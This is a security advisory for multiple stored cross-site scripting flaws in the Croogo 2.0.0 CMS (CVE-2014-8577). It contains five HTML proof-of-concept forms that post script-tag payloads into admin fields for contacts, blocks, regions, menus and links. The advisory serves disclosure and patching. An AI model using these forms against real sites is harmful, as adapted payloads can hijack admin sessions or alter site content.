Croogo 2.0.0 Multiple Stored XSS Vulnerabilities

2014-10-13 / 2014-11-02

Credit: Gjoko 'LiquidWorm' Krstic

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2014-8577

CWE: N/A

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

<<<

Croogo 2.0.0 Multiple Stored XSS Vulnerabilities


Vendor: Fahad Ibnay Heylaal
Product web page: http://www.croogo.org
Affected version: 2.0.0

Summary: Croogo is a free, open source, content management system
for PHP, released under The MIT License. It is powered by CakePHP
MVC framework.

Desc: Croogo version 2.0.0 suffers from multiple stored cross-site
scripting vulnerabilities. Input passed to several POST parameters
is not properly sanitised before being returned to the user. This
can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Zero Science Lab - http://www.zeroscience.mk
Macedonian Information Security Research And Development Laboratory


Advisory ID: ZSL-2014-5201
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5201.php

Vendor: http://blog.croogo.org/blog/croogo-210-released


26.07.2014

>>>


------------------------
(XSS #1)
--------
POST parameters:

 - data[Contact][title]
------------------------

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/croogo/admin/contacts/contacts/add" method="POST">
      <input type="hidden" name="&#95;method" value="POST" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;key&#93;" value="2627e9e204ad6b878dbaf1c08d830c3e744d7e6e" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;id&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;title&#93;" value="&quot;&gt;&lt;script&gt;alert&#40;&quot;XSS&quot;&#41;&#59;&lt;&#47;script&gt;" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;alias&#93;" value="test" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;email&#93;" value="a&#64;a&#46;com" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;body&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;name&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;position&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;address&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;address2&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;state&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;country&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;postcode&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;phone&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;fax&#93;" value="" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;message&#95;status&#93;" value="0" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;message&#95;archive&#93;" value="0" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;message&#95;notify&#93;" value="0" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;message&#95;spam&#95;protection&#93;" value="0" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;message&#95;captcha&#93;" value="0" />
      <input type="hidden" name="data&#91;Contact&#93;&#91;status&#93;" value="0" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;fields&#93;" value="262e37f00fdd538ab98d168114e8befb72ba27ff&#37;3AContact&#46;id" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;unlocked&#93;" value="apply" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


------------------------
(XSS #2)
--------
POST/PUT parameters:

 - data[Block][title]
 - data[Block][alias]
------------------------

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/croogo/admin/blocks/blocks/edit/10" method="POST">
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;key&#93;" value="bb5e47ab63281908e9783d9a20f66b7f56c573f3" />
      <input type="hidden" name="data&#91;Block&#93;&#91;id&#93;" value="10" />
      <input type="hidden" name="data&#91;Block&#93;&#91;title&#93;" value="&quot;&gt;&lt;script&gt;alert&#40;2&#41;&#59;&lt;&#47;script&gt;" />
      <input type="hidden" name="data&#91;Block&#93;&#91;alias&#93;" value="&quot;&gt;&lt;script&gt;alert&#40;3&#41;&#59;&lt;&#47;script&gt;" />
      <input type="hidden" name="data&#91;Block&#93;&#91;region&#95;id&#93;" value="3" />
      <input type="hidden" name="data&#91;Block&#93;&#91;body&#93;" value="1" />
      <input type="hidden" name="data&#91;Block&#93;&#91;class&#93;" value="1" />
      <input type="hidden" name="data&#91;Block&#93;&#91;element&#93;" value="1" />
      <input type="hidden" name="data&#91;Role&#93;&#91;Role&#93;" value="" />
      <input type="hidden" name="data&#91;Block&#93;&#91;visibility&#95;paths&#93;" value="" />
      <input type="hidden" name="data&#91;Block&#93;&#91;params&#93;" value="1" />
      <input type="hidden" name="data&#91;Block&#93;&#91;status&#93;" value="1" />
      <input type="hidden" name="data&#91;Block&#93;&#91;show&#95;title&#93;" value="0" />
      <input type="hidden" name="data&#91;Block&#93;&#91;show&#95;title&#93;" value="1" />
      <input type="hidden" name="data&#91;Block&#93;&#91;publish&#95;start&#93;" value="0000&#45;00&#45;00&#32;00&#58;00&#58;00" />
      <input type="hidden" name="data&#91;Block&#93;&#91;publish&#95;end&#93;" value="0000&#45;00&#45;00&#32;00&#58;00&#58;00" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;fields&#93;" value="546f4a46648b8b32ea4c2b43a4a118ea7087e21b&#37;3ABlock&#46;id" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;unlocked&#93;" value="apply" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


------------------------
(XSS #3)
--------
POST parameters:

 - data[Region][title]
------------------------

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/croogo/admin/blocks/regions/add" method="POST">
      <input type="hidden" name="&#95;method" value="POST" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;key&#93;" value="a7d62c8c34e2a6414c3657c43790645dfdd63735" />
      <input type="hidden" name="data&#91;Region&#93;&#91;id&#93;" value="" />
      <input type="hidden" name="data&#91;Region&#93;&#91;title&#93;" value="&quot;&gt;&lt;script&gt;alert&#40;11&#41;&#59;&lt;&#47;script&gt;" />
      <input type="hidden" name="data&#91;Region&#93;&#91;alias&#93;" value="1" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;fields&#93;" value="4020bcbfbf5ba648b159ec8a4e166f53c1b58aa4&#37;3ARegion&#46;id" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;unlocked&#93;" value="apply" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


------------------------
(XSS #4)
--------
POST parameters:

 - data[Menu][title]
 - data[Menu][alias]
------------------------

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/croogo/admin/menus/menus/add" method="POST">
      <input type="hidden" name="&#95;method" value="POST" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;key&#93;" value="253c5c67942b2d126c886c9ac7a62ebf065cf42b" />
      <input type="hidden" name="data&#91;Menu&#93;&#91;id&#93;" value="" />
      <input type="hidden" name="data&#91;Menu&#93;&#91;title&#93;" value="&quot;&gt;&lt;script&gt;alert&#40;22&#41;&#59;&lt;&#47;script&gt;" />
      <input type="hidden" name="data&#91;Menu&#93;&#91;alias&#93;" value="&quot;&gt;&lt;script&gt;alert&#40;33&#41;&#59;&lt;&#47;script&gt;" />
      <input type="hidden" name="data&#91;Menu&#93;&#91;description&#93;" value="ZSL" />
      <input type="hidden" name="data&#91;Menu&#93;&#91;params&#93;" value="1" />
      <input type="hidden" name="data&#91;Menu&#93;&#91;status&#93;" value="1" />
      <input type="hidden" name="data&#91;Menu&#93;&#91;publish&#95;start&#93;" value="1" />
      <input type="hidden" name="data&#91;Menu&#93;&#91;publish&#95;end&#93;" value="1" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;fields&#93;" value="58685dc7a49f7617cffaa3a00ec4245516c5f9d3&#37;3AMenu&#46;id" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;unlocked&#93;" value="apply" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


------------------------
(XSS #5)
--------
POST parameters:

 - data[Link][title]
------------------------

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/croogo/admin/menus/links/add/menu:6" method="POST">
      <input type="hidden" name="&#95;method" value="POST" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;key&#93;" value="736e7539497307010b8cb8e70c44ec8a9798d0fb" />
      <input type="hidden" name="data&#91;Link&#93;&#91;id&#93;" value="" />
      <input type="hidden" name="data&#91;Link&#93;&#91;menu&#95;id&#93;" value="6" />
      <input type="hidden" name="data&#91;Link&#93;&#91;parent&#95;id&#93;" value="" />
      <input type="hidden" name="data&#91;Link&#93;&#91;title&#93;" value="&quot;&gt;&lt;script&gt;alert&#40;1&#41;&#59;&lt;&#47;script&gt;" />
      <input type="hidden" name="data&#91;Link&#93;&#91;link&#93;" value="1" />
      <input type="hidden" name="data&#91;Role&#93;&#91;Role&#93;" value="" />
      <input type="hidden" name="data&#91;Link&#93;&#91;class&#93;" value="scriptalert1script" />
      <input type="hidden" name="data&#91;Link&#93;&#91;description&#93;" value="" />
      <input type="hidden" name="data&#91;Link&#93;&#91;rel&#93;" value="" />
      <input type="hidden" name="data&#91;Link&#93;&#91;target&#93;" value="" />
      <input type="hidden" name="data&#91;Link&#93;&#91;params&#93;" value="" />
      <input type="hidden" name="data&#91;Link&#93;&#91;status&#93;" value="0" />
      <input type="hidden" name="data&#91;Link&#93;&#91;publish&#95;start&#93;" value="" />
      <input type="hidden" name="data&#91;Link&#93;&#91;publish&#95;end&#93;" value="" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;fields&#93;" value="d662745abb348c763337f58c8c3c28bb1e8c014f&#37;3ALink&#46;id" />
      <input type="hidden" name="data&#91;&#95;Token&#93;&#91;unlocked&#93;" value="apply" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

References:

http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5201.php

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Croogo 2.0.0 Multiple Stored XSS Vulnerabilities

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.